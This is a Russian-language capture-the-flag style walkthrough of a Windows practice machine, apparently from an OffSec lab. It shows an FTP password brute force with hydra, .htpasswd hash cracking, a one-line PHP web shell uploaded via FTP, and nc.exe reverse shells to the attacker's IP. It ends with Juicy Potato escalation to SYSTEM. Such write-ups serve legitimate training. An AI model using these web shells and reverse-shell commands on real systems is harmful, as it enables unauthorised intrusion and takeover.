NMAP #
Начинаем с быстрого сканирования доступных портов на машине:
nmap -v -Pn -T4 -p- 192.168.177.46

Получив список портов повторяем скан, но уже более детально:
nmap -v -Pn -A -p 21,242,3145,3389 192.168.177.46

В глаза сразу бросаются 2 вещи FTP
сервер, который позволяет залониться без пароля и что на 242
порту висит веб сервер с поддержкой PHP
. Когда я вижу такую комбинацию, я сразу начинаю думать о том, а что если по FTP
загрузить shell
, а потом как-то выполнить его через сайт. Но не будем забегать вперед, давайте двигаться по порядку.
FTP #
Давайте изучим содержимое FTP
сервера более детально.

Что мы тут видим? Мы можем скачать логи и попытаться найти в них какую либо полезную информацию. А также мы сразу видим имена 3-х пользователей, которые могут быть валидными FTP
пользователями или системными.
Запишем в заметки эти логины:
Offsec
anonymous
admin
Забегая вперед, скачанные логи оказались бесполезными, поэтому двигаемся дальше к перебору пароля для найденых учеток.
Brute force FTP #
Зная логины мы можем попробовать совершить перебор паролей по словарю. Для эти целей воспользуемся утилитой hydra
.
Пользователь admin
звучит многообещающе, давайте сразу с него и начнем.
hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://192.168.68.46

Как правило на тренажерах подобного уровня, пароли для брута ставят специально очень слабые, потому что нет цели, чтобы вы переберали пароль несколько суток.
FTP login as admin #
Так как у нас теперь есть первая учетка с паролем, то нужно попробовать залогиниться на FTP
c ней.
ftp ftp://admin:[email protected]

После захода на FTP
обнаруживаем 3 файла относящиеся к вебу и Apache для авторизации пользователя.
Давайте сразу их скачаем для дальнейшего исследования.

Когда мы находим, где либо какой то хеш от пароля, да еще и с логином, мы обязательно должны попробовать его взломать.
Crack the hash #
На выбор предлагаю две утилиты.
hashcat #
hashcat -m 1600 -a 0 '$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0' /usr/share/wordlists/rockyou.txt

john #
john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt

В итоге мы получаем еще одну пару логин:пароль
и на данный момент имеем:
FTP admin:admin
WEB offsec:elite
Как видите пароли очень простые, как я уже говорил - это делается специально, потому что нет задачи вас мучить долгим перебором.
File uploads #
Перед тем, как двигаться дальше, давайте проверим послений момент касательно FTP
, а именно можем ли мы загружать файлы под учеткой admin:admin
, так как судя по содержимому .htaccess web server
и ftp server
смотрят в одну директорию. Если это так, то мы можем загрузить reverse shell
по FTP
и затем из браузера выполнить его.

Отлично! Мы можем загружать файлы под пользователем admin
.
WEB #
Теперь давайте попробуем залогиниться в вебе по порту 242
с учеткой offsec:elite
.
Login #
Отроем в браузере http://192.168.177.46:242
и введем offsec:elite
.

После логина видим содержимое index.php
, которые мы видили ранее.

И пытаемся получить содержимое файла users.txt
, который мы загружали ранее для проверки возможности загрузки файлов по FTP c учеткой admin:admin
.

Reverse shell #
Заливаем простейший php
файл c именем cmd.php
, который позволит нам запускать команды на сервере.
<?php system($_GET['cmd']); ?>

Пробуем вызвать команду whoami
из браузера, http://192.168.177.46:242/cmd.php?cmd=whoami

Отлично! Мы находимся в одном шаге до получения revershe shell
от пользователя livda\apache
.
Далее есть множество вариантов, какой revershe shell
использовать. Давайте пойдем по самому простому и быстрому пути.
Скачиваем скомпилированные бинари
Netcat for windows 32/64 bit
netcat
от сюда
32-х
и 64-х
битные архитектуры Windows. В нашем случае нам нужна 32-х
битная версия.
Сначала на нашей систему запускаем netcat
на прослушивание порта.
nc -nvl -p 4444
Далее загружаем по FTP
файл nc.exe
и запускаем его из браузера с помощью cmd.php
.
http://192.168.177.46:242/cmd.php?cmd="nc.exe 192.168.45.234 4444 -e cmd.exe"

Мы внутри! Теперь у нас есть reverse shell
на машину и осталось сделать последнюю часть - это повысить привелегии. Но перед эти давайте заберем первый флаг который находится в C:\Users\apache\Desktop\local.txt
.

Privileges escalation #
Давайте проверим какими привелегиями обладает пользователь apache
.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\wamp\www>whoami /priv
whoami /priv

Как видно пользователь apache
имеет привелегию SeImpersonatePrivilege
, что дает возможность провести атаку из семейства potato
. Немного подробностей и ссылки на различные эксплоиты можно найти здесь.
Давайте сразу подготовим новый netcat listener
на нашей машине.
nc -nvl -p 1337
Далее воспользуемся этим эксплоитом
Juicy Potato for x86 Windows
Как и до этого загружаем Juicy.Potato.x86.exe
на машину с помощью FTP
и в уже имеющемся шелле запускаем команду.
IP
и IP
машины будут новые, так как мне пришлось переподключаться к VPN
и перезапускать целевой хост.
.\Juicy.Potato.x86.exe -l 1337 -t * -p "c:\windows\system32\cmd.exe" -a "/c C:\wamp\www\nc.exe -e cmd.exe 192.168.45.228 1337" -c "{3c6859ce-230b-48a4-be6c-932c0c202048}"
Где "{3c6859ce-230b-48a4-be6c-932c0c202048}"
- это CLSID взятый от сюда для версии операционной системы на целевой машине.
После выполнения команды мы получим во второй консоли, где ранее был запущен netcat
на порту 1337
шел с максимальными привелегиями.

И теперь в новом шеле мы NT AUTHORITY\SYSTEM
:

Ну и заберем финальный флаг.

Conclusion #
Давайте еще раз кратко пробежимся по тому, что мы сделали:
- С помощью
nmap
мы нашлиFTP
сервер который пускает без пароля. - Нашли файлы в именах которых содержались логины пользователей.
- Провели перебор пароля по словарю для найденых пользователей и
FTP
и нашли пароль от пользователяadmin
. - Подключившись под пользователем
admin
и нашли файлы.htpasswd
и.htaccess
. - Взломали хеш от пароля для пользователя
offsec
, который хранился в.htpasswd
. - Далее смогли авторизоваться в вебе на порту
242
под пользователемoffsec
. - Поняли, что веб сервер и фтп сервер смотрят в одну директорию при логине под пользователем
admin
. А значит мы получили возможность загрузить php шелл и выполнить его. - С помощью
php
иnc.exe
получилиreverse shell
от пользователяapache
. - Выяснили, что пользователь
apache
имеет привелегиюSeImpersonatePrivilege
, а значит можно провести атакуJuciy Potato
. - Выполнив
exploit
получили новый шел, но уже с правамиNT AUTHORITY\SYSTEM
.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!